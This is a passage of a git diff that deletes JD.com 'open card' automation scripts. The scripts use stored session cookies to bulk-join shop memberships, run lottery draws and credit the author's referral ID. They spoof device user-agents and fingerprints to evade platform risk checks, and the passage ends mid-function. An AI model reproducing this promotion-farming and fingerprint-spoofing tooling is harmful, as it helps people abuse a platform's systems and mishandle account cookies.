if(data.result && data.result.giftInfo){ - for(let i of data.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(data.success == false){ - $.log(data.message) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} - -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} -function getHtml() { - return new Promise(resolve => { - $.get({ - url: `https://prodev.m.jd.com/mall/active/4TUq5NiJL2QnGsbnCemJ2UUsaa9R/index.html`, - headers: { - "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function getEid(arr) { - return new Promise(resolve => { - const options = { - url: `https://gia.jd.com/fcf.html?a=${arr.a}`, - body: `d=${arr.d}`, - headers: { - "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", - "User-Agent": $.UA - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) - throw new Error(err); - } else { - if (data.indexOf("*_*") > 0) { - data = data.split("*_*", 2); - data = JSON.parse(data[1]); - $.eid = data.eid - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - - - -async function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` - let arr = await Faker.getBody($.UA,'https://prodev.m.jd.com/mall/active/4TUq5NiJL2QnGsbnCemJ2UUsaa9R/index.html') - $.fp = arr.fp - await getEid(arr) -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/backUp/gua_opencard7.js b/backUp/gua_opencard7.js deleted file mode 100644 index 7aaeb3e..0000000 --- a/backUp/gua_opencard7.js +++ /dev/null @@ -1,763 +0,0 @@ -/* -8.8-8.14 七夕会员福利社 [gua_opencard7.js] -新增开卡脚本 -一次性脚本 - -邀请一人30豆 (有可能没有豆 -开21个卡 抽奖可能获得5、10、15京豆(有可能有抽到空气💨 -关注20京豆 (有可能是空气💨 -每日 加购3京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku7]为"true" - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard7="true" -———————————————— -若是手机用户(不是nodejs环境) 是默认直接执行脚本的 -没有适配加购变量 所以是不加购 -———————————————— -入口:[8.8-8.14 七夕会员福利社 (https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=dz2108100001616201&shareUuid=976abef915bf40ae9e6adc93c1693d9a)] - -============Quantumultx=============== -[task_local] -#8.8-8.14 七夕会员福利社 -28 0,22 8-14 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard7.js, tag=8.8-8.14 七夕会员福利社, enabled=true - -================Loon============== -[Script] -cron "28 0,22 8-14 8 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard7.js,tag=8.8-8.14 七夕会员福利社 - -===============Surge================= -8.8-8.14 七夕会员福利社 = type=cron,cronexp="28 0,22 8-14 8 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard7.js - -============小火箭========= -8.8-8.14 七夕会员福利社 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard7.js, cronexpr="28 0,22 8-14 8 *", timeout=3600, enable=true -*/ -const $ = new Env('8.8-8.14 七夕会员福利社'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let guaopencard_addSku = false -const JD_API_HOST = `https://api.m.jd.com/client.action`; -message = "" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if ($.isNode()) { - if (!process.env.guaopencard7 || process.env.guaopencard7 == "false") { - console.log('如需执行脚本请设置环境变量[guaopencard7]为"true"') - return - } - guaopencard_addSku = process.env.guaopencard_addSku7 - if (!process.env.guaopencard_addSku7 || process.env.guaopencard_addSku7 == "false") { - console.log('如需加购请设置环境变量[guaopencard_addSku7]为"true"') - } - } - $.shareUuid = '976abef915bf40ae9e6adc93c1693d9a' - $.activityId = 'dz2108100001616201' - console.log(`入口:\nhttps://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await run(); - if(i == 0 && !$.actorUuid) return - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - -async function run(){ - try{ - $.isvObfuscatorToken = $.LZ_TOKEN_KEY = $.LZ_TOKEN_VALUE = '' - await getWxCommonInfoToken(); - await getIsvObfuscatorToken(); - if($.isvObfuscatorToken == '' || $.LZ_TOKEN_KEY == '' || $.LZ_TOKEN_VALUE == ''){ - console.log('获取[token]失败!') - return - } - await getSimpleActInfoVo() - $.myPingData = await getMyPing() - if ($.myPingData ==="" || $.myPingData === '400001' || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { - $.log("获取活动信息失败!") - return - } - await getHtml(); - await adLog(); - $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - await getUserInfo(); - $.actorUuid = ''; - await getActorUuid(); - if(!$.actorUuid){ - console.log('获取不到[actorUuid]退出执行,请重新执行') - return - } - await drawContent(); - await $.wait(1000) - let checkOpenCardData = await checkOpenCard(); - $.log("开完卡: " + checkOpenCardData.allOpenCard) - if (checkOpenCardData && !checkOpenCardData.allOpenCard) { - for (let cardList1Element of checkOpenCardData.cardList) { - if(cardList1Element.status == 0){ - console.log(cardList1Element.name) - await join(cardList1Element.value) - await $.wait(1000) - await drawContent(); - } - } - await $.wait(1000) - await drawContent(); - checkOpenCardData = await checkOpenCard(); - await $.wait(1000) - } - console.log(`共有${checkOpenCardData.drawScore}次抽奖`) - for(j=1;checkOpenCardData.drawScore--;j++){ - console.log(`第${j}次`) - await startDraw() - await $.wait(1000) - } - $.log("关注: " + $.followShop) - if(!$.followShop) await followShop(); - if(!$.followShop) await $.wait(1000) - $.log("加购: " + $.addSku) - if(!$.addSku && guaopencard_addSku+"" != "true") console.log('如需加购请设置环境变量[guaopencard_addSku7]为"true"'); - if(!$.addSku && guaopencard_addSku) await addSku(); - if(!$.addSku && guaopencard_addSku) await $.wait(1000) - await getActorUuid() - await $.wait(1000) - await getDrawRecordHasCoupon() - await $.wait(1000) - await getShareRecord() - $.log($.shareUuid) - if ($.index === 1) { - if($.actorUuid){ - $.shareUuid = $.actorUuid; - }else{ - console.log('账号1获取不到[shareUuid]退出执行,请重新执行') - return - } - } - }catch(e){ - console.log(e) - } -} -function getDrawRecordHasCoupon() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/taskact/common/getDrawRecordHasCoupon', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - data = JSON.parse(data) - console.log(`我的奖品:`) - let num = 0 - let value = 0 - for(let i in data.data){ - let item = data.data[i] - if(item.value == '邀请好友') num++; - if(item.value == '邀请好友') value = item.infoName.replace('京豆',''); - if(item.value != '邀请好友') console.log(`${item.infoType != 10 && item.value +':' || ''}${item.infoName}`) - } - if(num > 0) console.log(`邀请好友(${num}):${num*parseInt(value, 10) || 30}京豆`) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} -function getShareRecord() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/taskact/common/getShareRecord', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data) - $.log(`=========== 你邀请了:${data.data.length}个`) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function addSku() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=2&taskValue=2` - $.post(taskPostUrl('/dingzhi/shop/league/saveTask', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if(data.errorMessage) console.log(`加购:${data.errorMessage || ''}`) - if(data.count == 0 && data.result == true){ - let msg = '' - if(data.data.addBeanNum){ - msg = `${data.data.addBeanNum}京豆` - } - console.log(`加购获得:${ msg || '空气💨'}`) - }else{ - $.log($.toStr(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function followShop() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=1&taskValue=1` - $.post(taskPostUrl('/dingzhi/shop/league/saveTask', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if(data.errorMessage) console.log(`关注:${data.errorMessage || ''}`) - if(data.count == 0 && data.result == true){ - let msg = '' - if(data.data.addBeanNum){ - msg = `${data.data.addBeanNum}京豆` - } - if(data.data.beanNumMember && data.data.assistSendStatus){ - msg += ` 额外获得:${data.data.beanNumMember}京豆` - } - console.log(`关注获得:${ msg || '空气💨'}`) - }else{ - $.log($.toStr(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - // console.log($.toStr(data.result)) - // console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - data = JSON.parse(data); - if(data.success == true){ - $.log(data.message) - if(data.result && data.result.giftInfo){ - for(let i of data.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(data.success == false){ - $.log(data.message) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} - -function startDraw() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}` - $.post(taskPostUrl('/dingzhi/shop/league/startDraw', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // $.log($.toStr(data)) - data = $.toObj(data); - if(data.errorMessage || data.data.errorMessage) console.log(`抽奖:${data.errorMessage || data.data.errorMessage || ''}`) - if(data.count == 0 && data.result == true){ - console.log(`抽奖获得:${data.data.drawOk && data.data.name || '空气💨'}`) - }else{ - $.log($.toStr(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} -function checkOpenCard() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` - $.post(taskPostUrl('/dingzhi/shop/league/checkOpenCard', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(res && res.data || ''); - } - }) - }) -} - - -function drawContent() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/taskact/common/drawContent`, - body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getActorUuid() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activityContent`, - body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.myPingData.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.followShop.allStatus != 'undefined') $.followShop = res.data.followShop.allStatus - if(typeof res.data.addSku.allStatus != 'undefined') $.addSku = res.data.addSku.allStatus - if(typeof res.data.actorUuid != 'undefined') $.actorUuid = res.data.actorUuid - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`activityContent ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getUserInfo() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/wxActionCommon/getUserInfo`, - body: `pin=${encodeURIComponent($.myPingData.secretPin)}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - 